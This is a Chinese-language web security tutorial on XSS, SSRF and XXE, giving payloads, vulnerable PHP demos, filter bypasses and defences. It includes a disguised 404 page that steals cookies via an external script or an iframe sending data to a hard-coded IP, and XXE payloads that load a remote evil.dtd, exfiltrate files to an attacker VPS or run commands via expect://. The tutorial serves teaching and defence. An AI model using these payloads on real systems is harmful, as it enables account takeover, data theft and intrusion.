3.XSS

XSS跨站脚本
1.XSS的原理和分类
2.XSS的攻击载荷
3.XSS可以插在哪里?
4.XSS的漏洞挖掘
5.XSS的攻击过程
6.XSS漏洞危害
7.XSS漏洞的简单攻击测试
7.1

反射性XSS Linux/Windows

7.2

存储性XSS Apache/Nginx/Tomcat/IIS

7.3

DOM型XSS php/jsp/asp/aspx

8.XSS简单的过滤与绕过
9.XSS防御
10.反射性XSS的利用方法
10.1

GET型

4.4

POST型

11.利用JS将用户信息返回给后台

一.XSS的原理和分类

跨站脚本攻击XSS(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页面时,嵌入Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。XSS攻击针对的是用户层面的攻击!

XSS分为:存储型 、反射型 、DOM型XSS
反射型XSS
存储型XSS

存储型XSS:存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,插入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie。

反射型XSS:非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。反射型XSS大多数是用来盗取用户的Cookie信息。

DOM型XSS:不经过后端,DOM-XSS漏洞是基于文档对象模型(Document Objeet Model,DOM)的一种漏洞,DOM-XSS是通过url传入参数去控制触发的,其实也属于反射型XSS。 DOM的详解:DOM文档对象模型

可能触发DOM型XSS的属性

document.referer
window.name
location
innerHTML
documen.write

如图,我们在URL中传入参数的值,然后客户端页面通过js脚本利用DOM的方法获得URL中参数的值,再通过DOM方法赋值给选择列表,该过程没有经过后端,完全是在前端完成的。所以,我们就可以在我们输入的参数上做手脚了。

二.XSS的攻击载荷

以下所有标签的 > 都可以用 // 代替, 例如 <script>alert(1)</script//

<script>标签:<script>标签是最直接的XSS有效载荷,脚本标记可以引用外部的JavaScript代码,也可以将代码插入脚本标记中

<script>alert("hack")</script>   #弹出hack   
<script>alert(/hack/)</script>   #弹出hack   
<script>alert(1)</script>        #弹出1,对于数字可以不用引号    
<script>alert(document.cookie)</script>      #弹出cookie   
<script src=http://xxx.com/xss.js></script>  #引用外部的xss

svg标签 

<img>标签:   
<img  src=1  onerror=alert("hack")>    
<img  src=1  onerror=alert(document.cookie)>  #弹出cookie

<body>标签:    
<body onpageshow=alert(1)>

video标签:
<video onloadstart=alert(1) src="/media/hack-the-planet.mp4" />

style标签:    
<style onload=alert(1)></style>

三.XSS可以插在哪里?

用户输入作为script标签内容
用户输入作为HTML注释内容
用户输入作为HTML标签的属性名
用户输入作为HTML标签的属性值
用户输入作为HTML标签的名字
直接插入到CSS里
最重要的是,千万不要引入任何不可信的第三方JavaScript到页面里!

#用户输入作为HTML注释内容,导致攻击者可以进行闭合绕过

<!-- --><script>alert('hack')</script><!-- -->

#用户输入作为标签属性名,导致攻击者可以进行闭合绕过

<div ></div><script>alert('hack')</script><div a="xx"> </div>

#用户输入作为标签属性值,导致攻击者可以进行闭合绕过

<div id=""></div><script>alert('hack')</script><div a="x"></div>

<><script>alert('hack')</script><b id="xx" />

#用户输入作为CSS内容,导致攻击者可以进行闭合绕过

<style> </style><script>alert('hack')</script><style> </style>

四.XSS漏洞的挖掘

黑盒测试
尽可能找到一切用户可控并且能够输出在页面代码中的地方,比如下面这些:

URL的每一个参数
URL本身
表单
搜索框
常见业务场景

重灾区:评论区、留言区、个人信息、订单信息等
针对型:站内信、网页即时通讯、私信、意见反馈
存在风险:搜索框、当前目录、图片属性等
白盒测试(代码审计)

关于XSS的代码审计主要就是从接收参数的地方和一些关键词入手。

PHP中常见的接收参数的方式有$_GET、$_POST、$_REQUEST等等,可以搜索所有接收参数的地方。然后对接收到的数据进行跟踪,看看有没有输出到页面中,然后看输出到页面中的数据是否进行了过滤和html编码等处理。

也可以搜索类似echo这样的输出语句,跟踪输出的变量是从哪里来的,我们是否能控制,如果从数据库中取的,是否能控制存到数据库中的数据,存到数据库之前有没有进行过滤等等。

大多数程序会对接收参数封装在公共文件的函数中统一调用,我们就需要审计这些公共函数看有没有过滤,能否绕过等等。

同理审计DOM型注入可以搜索一些js操作DOM元素的关键词进行审计。

五.XSS的攻击过程

反射型XSS漏洞:

Alice经常浏览某个网站,此网站为Bob所拥有。Bob的站点需要Alice使用用户名/密码进行登录,并存储了Alice敏感信息(比如银行帐户信息)。
Tom 发现 Bob的站点存在反射性的XSS漏洞
Tom 利用Bob网站的反射型XSS漏洞编写了一个exp,做成链接的形式,并利用各种手段诱使Alice点击
Alice在登录到Bob的站点后,浏览了 Tom 提供的恶意链接
嵌入到恶意链接中的恶意脚本在Alice的浏览器中执行。此脚本盗窃敏感信息(cookie、帐号信息等信息)。然后在Alice完全不知情的情况下将这些信息发送给 Tom。
Tom 利用获取到的cookie就可以以Alice的身份登录Bob的站点,如果脚本的功更强大的话,Tom 还可以对Alice的浏览器做控制并进一步利用漏洞控制

存储型XSS漏洞:

Bob拥有一个Web站点,该站点允许用户发布信息/浏览已发布的信息。
Tom检测到Bob的站点存在存储型的XSS漏洞。
Tom在Bob的网站上发布一个带有恶意脚本的热点信息,该热点信息存储在了Bob的服务器的数据库中,然后吸引其它用户来阅读该热点信息。
Bob或者是任何的其他人如Alice浏览该信息之后,Tom的恶意脚本就会执行。
Tom的恶意脚本执行后,Tom就可以对浏览器该页面的用户发动一起XSS攻击。

六.XSS漏洞的危害

从以上我们可以知道,存储型的XSS危害最大。因为他存储在服务器端,所以不需要我们和被攻击者有任何接触,只要被攻击者访问了该页面就会遭受攻击。而反射型和DOM型的XSS则需要我们去诱使用户点击我们构造的恶意的URL,需要我们和用户有直接或者间接的接触,比如利用社会工程学或者利用在其他网页挂马的方式。

那么,利用XSS漏洞可以干什么呢?
XSS的危害

七.XSS漏洞的简单攻击测试

反射型XSS:

先放出源代码

<meta charset="UTF-8">

<title>反射型XSS</title>

<form action="action.php" method="post">

    <input type="text" name="name" />

    <input type="submit" value="提交">

$name=$_POST["name"];

这里有一个用户提交的页面,用户可以在此提交数据,数据提交之后给后台处理

所以,我们可以在输入框中提交数据: <script>alert('hack')</script> ,看看会有什么反应
回显
页面直接弹出了hack的页面,可以看到,我们插入的语句已经被页面给执行了。
这就是最基本的反射型的XSS漏洞,这种漏洞数据流向是: 前端-->后端-->前端

存储型XSS:
先给出源代码

<meta charset="UTF-8">

<title>存储型XSS</title>

<form action="action2.php" method="post">

    输入你的ID:  <input type="text" name="id" /> <br/>

    输入你的Name:<input type="text" name="name" /> <br/>

    <input type="submit" value="提交">

mysql_connect("localhost","root","root");

mysql_select_db("test");

$sql="insert into xss value ($id,'$name')";

$result=mysql_query($sql);

mysql_connect("localhost","root","root");

mysql_select_db("test");

$sql="select * from xss where id=1";

$result=mysql_query($sql);

while($row=mysql_fetch_array($result)){

这里有一个用户提交的页面,数据提交给后端之后,后端存储在数据库中。然后当其他用户访问另一个页面的时候,后端调出该数据,显示给另一个用户,XSS代码就被执行了。

我们输入 1 和 <script>alert('hack')</script> ,注意,这里的hack的单引号要进行转义,因为sql语句中的$name是单引号的,所以这里不转义的话就会闭合sql语句中的单引号。不然注入不进去。提交了之后,我们看看数据库

可以看到,我们的XSS语句已经插入到数据库中了
然后当其他用户访问 show2.php 页面时,我们插入的XSS代码就执行了。
存储型XSS的数据流向是:前端-->后端-->数据库-->后端-->前端

DOM型XSS:

先放上源代码

    <meta charset="UTF-8">

    <title>DOM型XSS</title>

    <form action="action3.php" method="post">

        <input type="text" name="name" />

        <input type="submit" value="提交">

<input id="text" type="text" value="<?php echo $name; ?>"/>

<script type="text/javascript">

  var text=document.getElementById("text");

  var print=document.getElementById("print");

  print.innerHTML=text.value;  // 获取 text的值,并且输出在print内。这里是导致xss的主要原因。

这里有一个用户提交的页面,用户可以在此提交数据,数据提交之后给后台处理

我们可以输入 ,然后看看页面的变化
回显
页面直接弹出了 hack 的页面,可以看到,我们插入的语句已经被页面给执行了。
这就是DOM型XSS漏洞,这种漏洞数据流向是: 前端-->浏览器

八.XSS的简单过滤和绕过

前面讲sql注入的时候,我们讲过程序猿对于sql注入的一些过滤,利用一些函数(如:preg_replace()),将组成sql语句的一些字符给过滤,以防止注入。那么,程序猿也可以用一些函数将构成xss代码的一些关键字符给过滤了。可是,道高一尺魔高一丈,虽然过滤了,但是还是可以进行过滤绕过,以达到XSS攻击的目的。

一:区分大小写过滤标签

先放上源代码

<meta charset="UTF-8">

<title>反射型XSS</title>

<form action="action4.php" method="post">

    <input type="text" name="name" />

    <input type="submit" value="提交">

$name=preg_replace("/<script>/","",$name);      //过滤<script>

$name=preg_replace("/<\/script>/","",$name);   //过滤</script>

绕过技巧:可以使用大小写绕过 <scripT>alert('hack')</scripT>

二:不区分大小写过滤标签

先放上源代码

这个和上面的代码一模一样,只不过是过滤的时候多加了一个 i ,以不区分大小写

$name=preg_replace("/<script>/i","",$name);    //不区分大小写过滤 <script>

$name=preg_replace("/<\/script>/i","",$name);  //不区分大小写过滤 </script>

绕过技巧:可以使用嵌套的script标签绕过 <scr<script>ipt>alert('hack')</scr</script>ipt>

三:不区分大小写,过滤之间的所有内容

先放上源代码

这个和上面的代码一模一样,只不过是过滤的时候过滤条件发生了变化

$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
//过滤了<script 及其之间的所有内容
虽然无法使用<script>标签注入XSS代码,但是可以通过img、body等标签的事件或者 iframe 等标签的 src 注入恶意的 js 代码。

payload:

九.XSS防御

XSS防御的总体思路是:对用户的输入(和URL参数)进行过滤,对输出进行html编码。也就是对用户提交的所有内容进行过滤,对url中的参数进行过滤,过滤掉会导致脚本执行的相关内容;然后对动态输出到页面的内容进行html编码,使脚本无法在浏览器中执行。

对输入的内容进行过滤,可以分为黑名单过滤和白名单过滤。黑名单过滤虽然可以拦截大部分的XSS攻击,但是还是存在被绕过的风险。白名单过滤虽然可以基本杜绝XSS攻击,但是真实环境中一般是不能进行如此严格的白名单过滤的。

对输出进行html编码,就是通过函数,将用户的输入的数据进行html编码,使其不能作为脚本运行。

如下,是使用php中的htmlspecialchars函数对用户输入的name参数进行html编码,将其转换为html实体

使用htmlspecialchars函数对用户输入的name参数进行html编码,将其转换为html实体

$name = htmlspecialchars( $_GET[ 'name' ] );

如下,图一是没有进行html编码的,图2是进行了html编码的。经过html编码后script标签被当成了html实体。

我们还可以服务端设置会话Cookie的HTTP Only属性,这样,客户端的JS脚本就不能获取Cookie信息了

十.反射型XSS的利用姿势

我们现在发现一个网站存在反射型XSS,当用户登录该网站时,我们通过诱使用户点击我们精心制作的恶意链接,来盗取用户的Cookie并且发送给我们,然后我们再利用盗取的Cookie以用户的身份登录该用户的网站。

GET型

当我们输入参数的请求类型的get类型的,即我们输入的参数是以URL参数的形式。如下图

该链接的为:

http://127.0.0.1/vulnerabilities/xss_r/
?name=<script>alert(/xss/)</script>

那么,我们要怎么构造恶意代码来诱使用户点击并且用户点击后不会发现点击了恶意链接呢?

我们构造了如下代码,将其保存为html页面,然后放到我们自己的服务器上,做成一个链接。当用户登录了存在漏洞的网站,并且用户点击了我们构造的恶意链接时,该链接页面会偷偷打开iframe框架,iframe会访问其中的链接,然后执行我们的js代码。该js代码会把存在漏洞网站的cookie发送到我们的平台上,但是用户却浑然不知,他会发现打开的是一个404的页面!

<div class="error-page-container">

    <div class="error-page-main">

            <strong>404</strong>很抱歉,您要访问的页面不存在!

而我们的XSS平台将得到用户的Cookie,然后我们就可以利用得到的Cookie以用户的身份访问该网站了。

注:我们的攻击代码可以利用的前提是存在XSS漏洞的网站的X-Frame-options未配置,并且会话Cookie没有设置Http Only属性

POST型

我们现在知道一个网站的用户名输入框存在反射型的XSS漏洞

我们抓包查看

我们构造了如下代码,将其保存为html页面,然后放到我们自己的服务器上,做成一个链接。当用户登录了存在漏洞的网站,并且用户点击了我们构造的恶意链接时,该恶意链接的页面加载完后会执行js代码,完成表单的提交,表单的用户名参数是我们的恶意js代码。提交完该表单后,该js代码会把存在漏洞网站的cookie发送到我们的平台上,但是用户却浑然不知,他会发现打开的是一个404的页面。

我们这里写了一个404页面,404页面中隐藏了一个form提交的表单,为了防止提交表单后跳转,我们在表单下加了一个iframe框架,并且iframe框架的name等于form表单的target,并且我们设置iframe框架为不可见。

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">

<title>404 页面不存在 </title>

<style type="text/css">

    body{font:14px/1.5 'Microsoft YaHei','微软雅黑',Helvetica,Sans-serif;min-width:1200px;background:#f0f1f3;}

    .error-page{background:#f0f1f3;padding:80px 0 180px}

    .error-page-main{position:relative;background:#f9f9f9;margin:0 auto;width:617px;-ms-box-sizing:border-box;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;padding:50px 50px 70px}

    .error-page-main h3{font-size:24px;font-weight:400;border-bottom:1px solid #d0d0d0}

    .error-page-main h3 strong{font-size:54px;font-weight:400;margin-right:20px}

 <script type="text/javascript">

    function attack()

        document.getElementById("transfer").submit();

<div class="error-page-container">

    <div class="error-page-main">

            <strong>404</strong>很抱歉,您要访问的页面不存在!

<form method="POST" id="transfer"  action="http://127.0.0.1/xss/action.php" target="frameName">

     <input type="hidden" name="username" value="<script src=https://t.cn/EtxZt8T></script>">

     <input type="hidden" name="password" value="1">

<iframe src="" frameborder="0" name="frameName" style="display: none"></iframe>

当用户点击了我们构造的恶意链接,发现打开的是一个404页面。实际上这个页面偷偷的进行了表单的提交。

十一.利用JS将用户信息发送给后台

<meta charset="UTF-8">

<script src="https://cdn.staticfile.org/jquery/1.10.2/jquery.min.js"></script>

        //我们现在假如 user和pass是我们利用js获得的用户的用户名和密码

        user="admin";

        url="http://120.79.74.249:8080/?user="+user+"&pass="+pass;

        var frame=$("<iframe>");

        frame.attr("src",url);

        frame.attr("style","display:none");

        $("#body").append(frame);      
        //添加一个iframe框架,并设置不显示。这个框架会偷偷访问该链接。

当用户访问了该页面,我们后台就可以看到用户访问记录。

4.SSRF

[timeline title="SSRF(服务端请求伪造)漏洞" type="small"]
[item]1.SSRF的漏洞原理[/item]
[item]2.SSRF攻击原理[/item]
[item]3.SSRF的漏洞挖掘[/item]
[item]4.SSRF漏洞利用[/item]
[item]5.SSRF漏洞防御[/item]
[/timeline]
SSRF是一种由攻击者构造请求,由服务器端发起请求的安全漏洞,本质上是属于信息泄露漏洞。

一.SSRF漏洞原理

多web应用都提供了从其他的服务器上获取数据的功能。使用用户指定的URL,web应用可以获取图片,下载文件,读取文件内容等。这个功能如果被恶意使用,可以利用存在缺陷的web应用作为代理攻击远程和本地的服务器。一般情况下, SSRF攻击的目标是外网无法访问的内部系统黑客可以利用SSRF漏洞获取内部系统的一些信息 。( 正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统 )。SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制 。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。

二.SSRF攻击原理

攻击者想要访问主机B上的服务,但是由于存在防火墙或者主机B是属于内网主机等原因导致攻击者无法直接访问主机B。而主机A存在SSRF漏洞,这时攻击者可以借助主机A来发起SSRF攻击,通过主机A向主机B发起请求,从而获取主机B的一些信息。

SSRF攻击原理

1.利用file协议读取本地文件
2.对服务器所在内网、本地进行端口扫描,获取一些服务的banner信息
3.攻击运行在内网或本地的应用程序
4.对内网web应用进行指纹识别,识别企业内部的资产信息
5.攻击内外网的web应用,主要是使用HTTP GET请求就可以实现的攻击

三.SSRF的漏洞挖掘

1.通过分享功能:通过URL地址分享网页内容,在早期分享应用中,为了更好的提供用户体验,WEB应用在分享功能中,通常会获取目标URL地址网页内容中的<tilte></title>标签或者<meta name="description" content=“”/>标签中content的文本内容作为显示以提供更好的用户体验。例如人人网分享功能中:http://widget.renren.com/*?resourceUrl=https://www.nsfocus.com,通过目标URL地址获取了title标签和相关文本内容。而如果在此功能中没有对目标地址的范围做过滤与限制则就存在着SSRF漏洞.

2.转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览:由于手机屏幕大小的关系,直接浏览网页内容的时候会造成许多不便,因此有些公司提供了转码功能,把网页内容通过相关手段转为适合手机屏幕浏览的样式。例如百度、腾讯、搜狗等公司都有提供在线转码服务。

3.在线翻译:通过URL地址翻译对应文本的内容。提供此功能的国内公司有百度、有道等。

4.图片加载与下载:通过URL地址加载或下载图片,图片加载远程图片地址此功能用到的地方很多,但大多都是比较隐秘,比如在有些公司中的加载自家图片服务器上的图片用于展示。(此处可能会有人有疑问,为什么加载图片服务器上的图片也会有问题,直接使用img标签不就好了? 没错是这样,但是开发者为了有更好的用户体验通常对图片做些微小调整例如加水印、压缩等,所以就可能造成SSRF问题)。

5.图片、文章收藏功能:此处的图片、文章收藏中的文章收藏就类似于分享功能中获取URL地址中title以及文本的内容作为显示,目的还是为了更好的用户体验,而图片收藏就类似于功能四、图片加载。

6.未公开的api实现以及其他调用URL的功能:此处类似的功能有360提供的

我们如果在链接中看到了存在url类型的参数的话,就可以尝试是否存在SSRF漏洞,以下是常见的url中的关键字:

1.share
2.wap
3.url
4.link
4.src
5.source
6.target
7.u
8.3g
9.display
10.sourceURl
11.imageURL
12.domain

四.SSRF漏洞利用

测试目标网站支持的伪协议

现在服务器上有一个ssrf.php的页面,该页面的功能是获取URL参数,然后将URL的内容显示到网页页面上。

curl_setopt($ch,CURLOPT_URL,$url);

curl_setopt($ch,CURLOPT_HEADER,0);

程序获取url参数,通过curl_init()初始化curl组件后,将参数URL带入curl_setopt($ch,CURLOPT_URL,$url),然后调用curl_exec请求该URL。由于服务器端会将banner信息返回给客户端,所以可根据banner判断主机是否存在某些服务。

我们访问该链接:http://127.0.0.1/ssrf.php?url=http://127.0.0.1/test.php ,它会将test.php页面显示

如果我们把url的参数换成 http://www.baidu.com ,页面则会返回百度的页面

于是我们可以将URL参数换成内网的地址,则会泄露服务器内网的信息。将URL换成file://的形式,就可以读取本地文件。这和文件包含漏洞很类似! 如下,我们可以读取服务器host文件的信息

五.SSRF漏洞防御

1.限制请求的端口只能为web端口,只允许访问http和https的请求(禁掉file协议)
2.限制不能访问内网的ip,以防止对内网进行攻击
3.屏蔽返回的详细信息

5.XXE

[timeline title="XML外部实体注入" type="small"]
[item]1.XXE原理与解析[/item]
[item]2.XXE漏洞演示利用 任意文件读取 [/item]
[item]3.Blind OOB XXE[/item]
[item date="3.1"] 目录浏览和任意文件读取[/item]
[item date="3.2"] 端口扫描[/item]
[item date="3.3"] 远程代码执行[/item]
[item]4.XXE的漏洞挖掘[/item]
[item]5.XXE的防御[/item]
[/timeline]

一.XXE原理与解析

XXE(XML External Entity Injection)也就是XML外部实体注入,XXE漏洞发生在应用程序解析XML输入时,XML文件的解析依赖libxml 库,而 libxml2.9 以前的版本默认支持并开启了对外部实体的引用服务端解析用户提交的XML文件时,未对XML文件引用的外部实体(含外部一般实体和外部参数实体)做合适的处理,并且实体的URL支持 file:// 和 ftp:// 等协议,导致可加载恶意外部文件 和 代码造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害

XXE漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件

问:那么如何构建外部实体注入呢?

方式一:直接通过DTD外部实体声明

<!ENTITY b SYSTEM "file:///etc/passwd">

方式二:(一般实体)通过DTD外部实体声明引入外部DTD文档,再引入外部实体声明

       <!ENTITY b SYSTEM "http://mark4z5.com/evil.dtd">

#而http://mark4z5.com/evil.dtd内容为

<!ENTITY b SYSTEM "file:///etc/passwd">

方式三:(参数实体)通过DTD外部实体声明引入外部DTD文档,再引入外部实体声明

    <!ENTITY %b SYSTEM "http://mark4z5.com/evil.dtd">

#http://mark4z5.com/evil.dtd文件内容

<!ENTITY b SYSTEM "file:///etc/passwd">

XXE是XML外部实体注入攻击XML中可以通过调用实体来请求本地或者远程内容,和远程文件保护类似,会引发相关安全问题,例如敏感文件读取

支持的协议:
支持协议

其中php支持的协议会更多一些,但需要一定的扩展支持:
php支持协议

二.XXE漏洞演示利用(任意文件读取)

以下是一个简单的XML代码POST请求示例,上述代码将交由服务器的XML处理器解析。代码被解释并有回显数据。

这里我们引用外部DTD实体,并且将 email 的值修改为引用外部实体的值 &file; 因为,返回包会返回email的值,所以返回包会读取我们引用的 /etc/passwd 的值返回给我们,造成了任意文件读取。

三.Blind OOB XXE

如上例所示,服务器将 /etc/passwd 文件的内容作为响应返回给我们的XXE。但是在大多数情况下,即使服务器可能存在XXE漏洞,服务器也不会向攻击者的浏览器返回任何响应。遇到这种情况,可以实现OOB(out-of-band)信息传递和通过构造dtd从错误信息获取数据。无论是OOB、还是基于错误的方式,都需要引入外部DTD文件

1.OOB(Out-Of-Band):我们可以使用 Blind XXE 漏洞来构建一条外带数据OOB(Out-Of-Band)通道来读取数据。
2.错误获取数据:通过构造dtd然后从错误中获取数据

DTD文件:“文档类型定义(DTD,Document Type Definition)是一种特殊文档,它规定、约束符合标准通用标示语言(SGML)或SGML子集可扩展标示语言(XML)规则的定义和陈述。”

三.一通过OOB进行目录浏览和任意文件读取

注:Linux机器可以目录浏览和任意文件读取,Windows机器只能任意文件读取
Blind XXE是由于虽然目标服务器加载了XML数据,但是不回显读取的数据。那么,我们是否可以想其他的办法,将服务器读取的数据传送给我们的VPS呢?

VPS:“VPS的全称是Virtual Private Server,中文解释就是虚拟专用服务器,是相对于独立的服务器来说的。
于是,我们想到了如下:

VPS的操作
首先,在我们的VPS上搭建一个Http服务,然后创建一个xml.dtd文件,内容如下

<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://VPS的地址:2121/%file;'>">

然后在VPS上用python在2121端口起另一个http服务

POST提交的数据

<!ENTITY % remote SYSTEM "http://VPS的http服务/xml.dtd">  

<!ENTITY % file SYSTEM "file:///C:/Users/mi/Desktop/1.txt">



但是如果读取的文件数据有空格的话,这样的读不出来的,所以我们可以用base64编码

<!ENTITY % remote SYSTEM "http://VPS的http服务/xml.dtd">  

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-
encode/resource=file:///C:/Users/mi/Desktop/1.txt">


然后对base64进行解码:

如果目标是JAVA环境的话,建议采用FTP协议,相关文章:[button color="light" icon="" url="https://xie1997.blog.csdn.net/article/details/104933799" type=""]利用Blind XXE Getshell[/button]

三.二端口扫描

在第一个示例中,我们通过URI将请求指向了/etc/passwd文件,并最终成功的为我们返回了文件中的内容。除此之外,我们也可以使用 http URI 并强制服务器向我们指定的端点和端口发送GET请求,将 XXE 转换为SSRF(服务器端请求伪造)。

以下代码将尝试与端口通信,根据响应时间/长度,攻击者将可以判断该端口是否已被开启。

<!ENTITY xxe SYSTEM "http://127.0.0.1:80" >

如下,探测本地81端口是否开放,如果不开放,则响应时间比较久

探测本地80端口,开放,响应时间很快速

三.三远程代码执行

这种情况很少发生,但有些情况下攻击者能够通过XXE执行代码,这主要是由于配置不当/开发内部应用导致的。如果我们足够幸运,并且PHP expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上,那么我们就可以执行如下的命令:

<!DOCTYPE GVI [ <!ELEMENT foo ANY >

<!ENTITY xxe SYSTEM "expect://id" >]>

  <author>John, Doe</author>

  <title>I love XML</title>

  <category>Computers</category>

  <price>9.99</price>

  <date>2018-10-01</date>

  <description>&xxe;</description>

响应:

{"error": "no results for description uid=0(root) gid=0(root) groups=0(root)...

四.XXE的漏洞挖掘

通过手工篡改网站中xml实体中的头部,加入相关的读取文件或者是链接,或者是命令执行等,如file:///$path/file.txt;http://url/file.txt;看看能否显示出来

五.XXE的防御

XML解析库在调用时严格禁止对外部实体的解析。

方案一:使用开发语言提供的禁用外部实体的方法

libxml_disable_entity_loader(true);

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();

dbf.setExpandEntityReferences(false);

xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

方案二:过滤用户提交的XML数据

关键词:<!DOCTYPE 和 <!ENTITY 或者 SYSTEM和PUBLIC。

最后修改:2022 年 04 月 18 日 10 : 57 AM
如果觉得这篇文章不错,不妨赏我碎银几两。